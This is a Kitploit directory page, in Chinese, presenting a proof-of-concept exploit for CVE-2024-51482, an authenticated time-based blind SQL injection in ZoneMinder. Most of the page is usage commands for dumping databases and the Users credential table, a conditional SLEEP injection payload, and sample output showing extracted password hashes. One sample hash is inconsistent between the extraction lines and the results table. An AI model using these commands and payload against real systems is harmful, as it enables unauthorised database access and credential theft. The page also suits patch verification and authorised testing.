Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51482-PoC — ZoneMinder CVE-2024-51482(v1.37.* <= 1.37.64)的已认证基于时间的盲 SQL 注入 PoC | Kitploit
工具/GitHubGitHub/plur1bu5/cve-2024-51482-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubplur1bu5/cve-2024-51482-poc

CVE-2024-51482-PoC

ZoneMinder CVE-2024-51482(v1.37.* <= 1.37.64)的已认证基于时间的盲 SQL 注入 PoC

查看仓库
146个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-51482-PoC

针对 ZoneMinder v1.37. <= 1.37.64* 的认证后基于时间的盲 SQL 注入漏洞利用程序

概述

这是 CVE-2024-51482 的概念验证漏洞利用程序,该漏洞是 ZoneMinder 事件管理功能中的一个基于时间的盲 SQL 注入漏洞。该漏洞利用需要认证,并使用条件 SLEEP 查询从数据库中提取数据。

功能特性

  • 认证后利用 - 使用凭据或会话 Cookie 登录 长度检测 - 提取前通过二分搜索确定精确字符串长度
  • 并行提取 - 多线程字符提取,提升速度
  • sqlmap 风格选项 - 枚举数据库、表、列并转储数据
  • 安全默认值 - 3 秒延迟,5 个线程,确保高准确性
  • 进度跟踪 - 详细模式下实时显示提取进度
  • 清晰输出 - 以格式化表格显示转储的数据

环境要求

root@kitploit:~
pip install requests

快速开始

默认模式 - 转储凭据

root@kitploit:~
python3 poc.py -t example.local -u admin -p password

使用会话 Cookie

root@kitploit:~
python3 poc.py -t example.local --cookie 'ZMSESSID_value'

详细模式

root@kitploit:~
python3 poc.py -t example.local -u admin -p password -v

使用方法

枚举数据库

root@kitploit:~
python3 poc.py -t example.local -u admin -p password --dbs

枚举表

root@kitploit:~
python3 poc.py -t example.local -u admin -p password -D zm --tables

枚举列

root@kitploit:~
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns

转储指定表

root@kitploit:~
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump

选项

root@kitploit:~
Required:
  -t, --target TARGET       Target URL (IP, hostname, or full URL)
  
Authentication:
  -u, --username USERNAME   Username for authentication
  -p, --password PASSWORD   Password for authentication
  --cookie COOKIE           Session cookie (ZMSESSID)

Enumeration:
  --dbs                     Enumerate databases
  -D, --database DATABASE   Database to use
  --tables                  Enumerate tables
  -T, --table TABLE         Table to use
  --columns                 Enumerate columns
  --dump                    Dump table data

Performance:
  --delay DELAY             Time delay in seconds (default: 3, safe)
  --threads THREADS         Number of threads (default: 5, safe)
  -v, --verbose             Show extraction progress

性能调优

安全模式(推荐)

root@kitploit:~
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
  • 速度: 每个密码哈希约 2-3 分钟
  • 准确性: 高

快速模式(可能出错)

root@kitploit:~
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
  • 速度: 每个密码哈希约 30-60 秒
  • 准确性: 可能产生错误的字符

示例输出

root@kitploit:~
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!

[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.

====================================================================================
| Username   | Password                                                      |
====================================================================================
| admin      | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john       | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================

[+] 2 entries dumped

工作原理

  1. 认证 - 使用凭据登录或使用提供的会话 Cookie
  2. 漏洞测试 - 使用简单的 SLEEP 载荷确认目标存在漏洞
  3. 长度检测 - 使用二分搜索找到精确的字符串长度
  4. 并行提取 - 同时提取所有字符位置
  5. 数据显示 - 以清晰表格格式化结果

载荷格式

该漏洞利用使用条件 SLEEP:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
  • 条件为 TRUE: 无延迟(0 秒)
  • 条件为 FALSE: 完整延迟(3 秒)

故障排除

结果不准确

如果得到错误的字符(例如,$ 变成了 8):

root@kitploit:~
# Increase delay and reduce threads
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3

速度过慢

如果提取速度过慢:

root@kitploit:~
# Decrease delay and increase threads (may reduce accuracy)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10

未找到数据

如果默认的 zm.Users 不存在:

root@kitploit:~
# Enumerate databases first
python3 poc.py -t example.local -u admin -p password --dbs

# Then enumerate tables
python3 poc.py -t example.local -u admin -p password -D database_name --tables

CVE 信息

  • CVE ID: CVE-2024-51482
  • 受影响版本: ZoneMinder v1.37.* <= 1.37.64
  • 修复版本: v1.37.65
  • 漏洞类型: 基于时间的盲 SQL 注入
  • CVSS 分数: 待定

免责声明

本工具仅用于教育和授权安全测试目的。

  • 请勿将此工具用于您不拥有或未经明确许可测试的系统
  • 未经授权访问计算机系统是违法的
  • 作者不对因使用本工具造成的任何滥用或损害负责
  • 进行安全评估前务必获得适当授权

参考资料

  • NVD - CVE-2024-51482
  • ZoneMinder GitHub

许可证

本项目仅用于教育目的。请负责任且合乎道德地使用。


⭐ 如果您觉得这个工具有用,请给仓库点个 Star!

下载工具